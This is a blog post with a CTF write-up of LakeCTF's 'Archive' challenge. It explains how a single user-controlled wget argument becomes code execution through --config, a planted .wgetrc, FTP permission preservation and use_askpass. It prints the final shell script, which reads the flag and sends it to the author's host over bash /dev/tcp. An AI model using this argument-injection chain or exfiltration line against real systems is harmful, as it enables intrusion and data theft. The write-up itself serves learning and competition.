Last weekend, for the first time in a good while, I participated in a traditional online CTF myself. Much of the last year has seen these events dying a slow and painful death, from both sides. Event organizers and challenge authors are much less enthusiastic about writing challenges they don’t think any human will actually appreciate, and other participants see little point in playing when the choice is between trying to enjoy the event and trying to win.
I’ve tried several things this year to address this from the organizer side, including how I helped run RITSEC and L3ak’s CTFs.
LakeCTF tried something else somewhat novel, which I was interested to try. Their system was invite-only, whereby a team could only compete for a place on the scoreboard if they were directly invited, or invited by a team who was invited. AI was, of course, banned, and any team who got disqualified for cheating also got the team who invited them disqualified.
From my perspective this seems like a decent solution. It decreases the number of people one needs to police, and it doesn’t really lock out anyone who (without AI) would have stood any chance of winning.
I, for one, had a lot of fun playing a CTF for the first time in a long time, and I hope to see more events like this tried in the future.
Archive⌗
One of the two challenges I solved at during the event was written by my friend Jorian. The premise was fairly simple, a web app made to look and function like web.archive.org:

Something I immediately took note of was that the challenge seemed to be labelled “web” here, whereas the ctf platform has it listed as “misc”. This is something that comes up quite often in my experience, a challenge with a web interface that isn’t really a web challenge. These are often some of my favorite sorts of challenges, such as Corgo’s Gentleman from a few years ago. They often rely on using a web app to wrap tools common in other contexts, particularly to demonstrate little-known or infrequently used components that one normally assumes are secure (when used correctly).
As it turns out, this web/misc ended up being no exception. The handout contained a Flask app, a readflag.c file, and the standard Docker machinery. It was immediately evident that the frontend could be ignored entirely, and it was just main.py I needed to care about. The container included the compiled /readflag binary with --x------ perms (and requires it be called with give me the flag), which is as clear as stating that the objective is to get RCE, and I can safely ignore looking for some other sort of lesser vulnerability.
The interesting parts of main.py were these:
@app.route('/start', methods=['POST'])
def start():
session_dir = os.urandom(8).hex()
directory = os.path.join(ARCHIVE_DIR, session_dir)
os.mkdir(directory)
session['directory'] = directory
flash('Session started.', 'success')
return redirect('/')
@app.route('/archive', methods=['POST'])
def archive():
if 'directory' not in session:
flash('Start a session first.', 'error')
return redirect('/')
if 'url' not in request.form:
flash('Provide a URL.', 'error')
return redirect('/')
url = request.form['url']
directory = session['directory']
result = subprocess.run(['wget', url], cwd=directory)
if result.returncode == 0:
flash(f"Successfully archived {url}.", 'success')
else:
flash(f"Failed to archive {url}.", 'error')
return redirect('/')
The app had a tiny bit more going on, but this was clearly the important part. We’re able to create a session, which then gets its own directory used as the working directory for aribitrary single-argument calls to wget. subprocess.run(['program', 'argument', 'array']) is in fact the safe way to do this, and is not generally command-injectable.
Usually, one would expect that if you’re calling wget with a single argument, the argument has to be… well… the URL you’re fetching, lest you get met with a wget: missing URL. This is, as it turns out, not always true. Some research into the various possible arguments and options revealed that wget has the concept of a config file, whereby one can set options and parameters that would usually require a CLI flag to be the default.
According to the man pages, this would normally need to be placed in /usr/local/etc/wgetrc or ~/.wgetrc to take effect. Luckily for us, the man pages also specify a very useful looking option:
--config=FILE Specify the location of a startup file you wish to use instead of the default one(s). Use --no-config to disable reading of config files. If both --config and --no-config are given, --no-config is ignored.
So, instead of supplying a URL as our argument, we can instead supply something like --config=meow.rc, provided that file exists. Wonderfully, this challenge provides us a very easy way to download arbitrary files to the filesystem: we can just make the server wget them for us.
Also notable is the input option. Instead of directly providing the URL to download, we can instead provide a file or URL containing a list of URLs. As the docs state:
If this function is used, no URLs need be present on the command line.
For practical purposes, this means we can get away with using our single argument to specify a config file instead of the URL, provided our config file contains an input field.
wget has some other interesting options too. Notably among them is use-askpass, an option that asks for a path to a script or program that is invoked whenever authentication is required (in this case, HTTP basic auth). Basically, if we have a script on disk, wget has this option pointing to it, and it tries to fetch a page behind auth, the script will be invoked. One minor caveat relevant for how I implemented my actual solution here is that for some reason (???), this option doesn’t apply to something fetched as the result of an input option, it needs to be passed in argv.
This is great for us, sans one minor problem: the container has no files marked both writable and executable by the user for us to mess with, and newly downloaded files (reasonably) don’t normally get the +x bit set on them. As is the case with everything else here, there is of course* an exception to this. The preserve-permissions option will do exactly what it sounds like, but obviously doesn’t have anything to preserve from a normal HTTP fetch. FTP, however, provides exactly what we need.
From here, the solution is basically obvious, it just requires a little bit of setup. After starting a session, it’s possible to win in 4 steps (I suspect there’s probably a solution that works in 3, but mine suffices). Putting the pieces together, the steps to win are:
-
download a
meow.rcfile to the session’s directory containing something like this:input = http://m.y.i.p/.wgetrc preserve_permissions = on dir_prefix = /home/user/ -
request
--config=meow.rc, causing this to get downloaded and saved as the user’s~/.wgetrc:preserve_permissions = on use_askpass = ./meow.sh -
download
meow.shover FTP, with the executable bit set, containing:#!/bin/sh /readflag give me the flag > ./meowtput bash -c 'cat ./meowtput > /dev/tcp/m.y.i.p/1338' echo "meow:meow" -
attempt to download a page requiring HTTP basic auth
Doing so executes the script, sending the flag back to my listener.
Getting an FTP server set up for this was a bit annoying, but I found a Docker image that seemed to just work. After struggling to realize that I needed to open a few more ports to my server for FTP to work, my exploit worked and I got the flag:
EPFL{w31Rd_Pr0Mpt_B3C0M3S_P4Th_T0_Wg3Trc_Th4T_Fl4G_ab4566fcfd}